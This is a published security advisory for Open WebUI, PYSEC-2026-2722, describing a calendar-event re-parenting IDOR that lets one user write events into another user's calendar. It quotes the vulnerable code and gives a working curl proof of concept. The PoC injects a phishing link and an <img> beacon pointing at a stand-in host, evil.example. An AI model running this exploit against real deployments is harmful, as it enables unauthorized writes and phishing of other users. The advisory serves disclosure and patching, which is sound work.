PYSEC-2026-2722

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2722.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-2722
Aliases
Published
2026-07-13T15:46:18.940628Z
Modified
2026-07-13T16:32:19.906850626Z
Severity
  • 4.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N CVSS Calculator
Summary
Open WebUI IDOR: Calendar event re-parenting allows writing events into another user's calendar
Details

Summary

POST /api/v1/calendars/events/{event_id}/update validates that the caller has write access to the calendar the event currently belongs to, but does not validate the destination calendar_id supplied in the request body. The model layer then persists the new calendar_id unconditionally.

A regular user-role account can therefore create an event in their own calendar and immediately move it into any other user's calendar whose ID they know — bypassing the authorization check that create_event correctly performs. This is reachable on default configuration: ENABLE_CALENDAR and USER_PERMISSIONS_FEATURES_CALENDAR both default to True.

Details

Sink — missing destination check

backend/open_webui/routers/calendar.py:283-297

@router.post('/events/{event_id}/update', response_model=CalendarEventModel)
async def update_event(
    request: Request, event_id: str, form_data: CalendarEventUpdateForm,
    user: UserModel = Depends(get_verified_user)
):
    await check_calendar_permission(request, user)
    event = await CalendarEvents.get_event_by_id(event_id)
    if not event:
        raise HTTPException(status_code=404, detail='Event not found')

    await _check_calendar_access(event.calendar_id, user, 'write')   # ← SOURCE only

    updated = await CalendarEvents.update_event_by_id(event_id, form_data)  # ← writes form_data.calendar_id
    ...

backend/open_webui/models/calendar.py:658-693 (update_event_by_id)

update_data = form_data.model_dump(exclude_unset=True)
for field in [
    'calendar_id',          # ← destination persisted with no ACL
    'title', 'description', 'start_at', 'end_at', 'all_day',
    'rrule', 'color', 'location', 'is_cancelled',
]:
    if field in update_data:
        setattr(event, field, update_data[field])

Reference — create_event does check the destination

backend/open_webui/routers/calendar.py:255

await _check_calendar_access(form_data.calendar_id, user, 'write')

Default-config gates (both True)

  • backend/open_webui/config.py:1658-1662ENABLE_CALENDAR defaults 'True'
  • backend/open_webui/config.py:1554USER_PERMISSIONS_FEATURES_CALENDAR defaults 'True'
  • backend/open_webui/main.py:1457 — router mounted unconditionally

PoC

Verified end-to-end against the official ghcr.io/open-webui/open-webui:main (v0.9.4) Docker image with two fresh user-role accounts.

1. Environment

git clone https://github.com/open-webui/open-webui.git
cd open-webui && docker compose up -d        # http://localhost:3000

Create the first account (admin), then via admin UI / POST /api/v1/auths/add create two user-role accounts: attacker and victim. Sign each in and capture their JWTs as $ATTACKER_TOKEN / $VICTIM_TOKEN.

2. Obtain the victim's calendar_id

Calendar IDs are UUIDv4 (models/calendar.py:316) and not enumerable. In practice an attacker obtains one via:

  • Read-only share — victim (or a group admin) grants the attacker read on a calendar; the ID is returned by GET /api/v1/calendars/.
  • Event invitation — victim adds the attacker as an attendee on any event; the event payload (CalendarEventModel, models/calendar.py:127) includes calendar_id.
  • Any side-channel (logs, screenshots, browser history).

For reproduction the maintainer can simply read it as the victim:

VICTIM_CALENDAR_ID=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

3. Control — direct create is correctly blocked

curl -s -o /dev/null -w '%{http_code}\n' \
  -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\",\"title\":\"x\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}"
# → 403

4. Exploit — create-then-reparent

ATTACKER_CAL=$(curl -s "$OPENWEBUI/api/v1/calendars/" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" | python3 -c 'import sys,json;print(json.load(sys.stdin)[0]["id"])')

# 1. create in own calendar
EVENT_ID=$(curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/create" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$ATTACKER_CAL\",\"title\":\"[INJECTED] Mandatory re-auth: https://evil.example/login\",\"description\":\"Session expired.\",\"location\":\"<img src=https://evil.example/beacon.png>\",\"start_at\":1778400000000000000,\"end_at\":1778403600000000000}" \
  | python3 -c 'import sys,json;print(json.load(sys.stdin)["id"])')

# 2. move into victim's calendar — NO destination check
curl -s -X POST "$OPENWEBUI/api/v1/calendars/events/$EVENT_ID/update" \
  -H "Authorization: Bearer $ATTACKER_TOKEN" -H 'Content-Type: application/json' \
  -d "{\"calendar_id\":\"$VICTIM_CALENDAR_ID\"}"
# → 200, response shows "calendar_id":"<VICTIM_CALENDAR_ID>"

5. Verification from victim's session

curl -s "$OPENWEBUI/api/v1/calendars/events?start=2026-05-01T00:00:00&end=2026-06-01T00:00:00" \
  -H "Authorization: Bearer $VICTIM_TOKEN" | python3 -m json.tool

Observed output (truncated):

[{
  "id": "1662c982-adb1-43d6-a9c8-0103fa1299c0",
  "calendar_id": "0b755ea7-4ff4-4a60-9cff-8961e69c75bb",
  "user_id": "7554dd33-e220-44cb-8441-169c55eef4f5",
  "title": "[INJECTED] Mandatory re-auth: https://evil.example/login",
  "description": "Session expired.",
  ...
}]

The injected event now lives in the victim's default calendar. A subsequent GET /events/{id} as the attacker returns 403 — confirming the move succeeded and the attacker has no legitimate access to the destination.

Impact

  • Read-only → write escalation on shared calendars: a user granted read via AccessGrants can effectively write.
  • Phishing / social engineering: events appear inside the victim's own private calendar (not as an external invite). The hover tooltip (CalendarEventChip.svelte:12 → common/Tooltip.svelte) renders title/location as DOMPurify-sanitised HTML with allowHTML=true, so an attacker can embed formatted links and <img> beacons (read-receipt when the victim hovers). DOMPurify prevents script execution, so this is HTML injection, not XSS.
  • Calendar spam / DoS: unlimited one-shot injections (attacker loses access to each event after the move, but can repeat with new events).
References

Affected packages

PyPI / open-webui

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
0.9.6

Affected versions

0.*
0.1.124
0.1.125
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.5
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
0.3.8
0.3.9
0.3.10
0.3.12
0.3.13
0.3.14
0.3.15
0.3.16
0.3.17.dev2
0.3.17.dev3
0.3.17.dev4
0.3.17.dev5
0.3.17
0.3.18
0.3.19
0.3.20
0.3.21
0.3.22
0.3.23
0.3.24
0.3.25
0.3.26
0.3.27.dev1
0.3.27.dev2
0.3.27.dev3
0.3.27
0.3.28
0.3.29
0.3.30.dev1
0.3.30.dev2
0.3.30
0.3.31.dev1
0.3.31
0.3.32
0.3.33.dev1
0.3.33
0.3.34
0.3.35
0.4.0.dev1
0.4.0.dev2
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6.dev1
0.4.6
0.4.7
0.4.8
0.5.0.dev1
0.5.0.dev2
0.5.0
0.5.1
0.5.2
0.5.3.dev1
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.5.9
0.5.10
0.5.11
0.5.12
0.5.13
0.5.14
0.5.15
0.5.16
0.5.17
0.5.18
0.5.19
0.5.20
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.6.6.dev1
0.6.6
0.6.7
0.6.8
0.6.9
0.6.10
0.6.11
0.6.12
0.6.13
0.6.14
0.6.15
0.6.16
0.6.18
0.6.19
0.6.20
0.6.21
0.6.22
0.6.23
0.6.24
0.6.25
0.6.26.dev1
0.6.26
0.6.27
0.6.28
0.6.29
0.6.30
0.6.31
0.6.32
0.6.33
0.6.34
0.6.35
0.6.36
0.6.37
0.6.38
0.6.39
0.6.40
0.6.41
0.6.42
0.6.43
0.7.0
0.7.1
0.7.2
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.8.6
0.8.7
0.8.8
0.8.9
0.8.10
0.8.11
0.8.12
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/open-webui/PYSEC-2026-2722.yaml"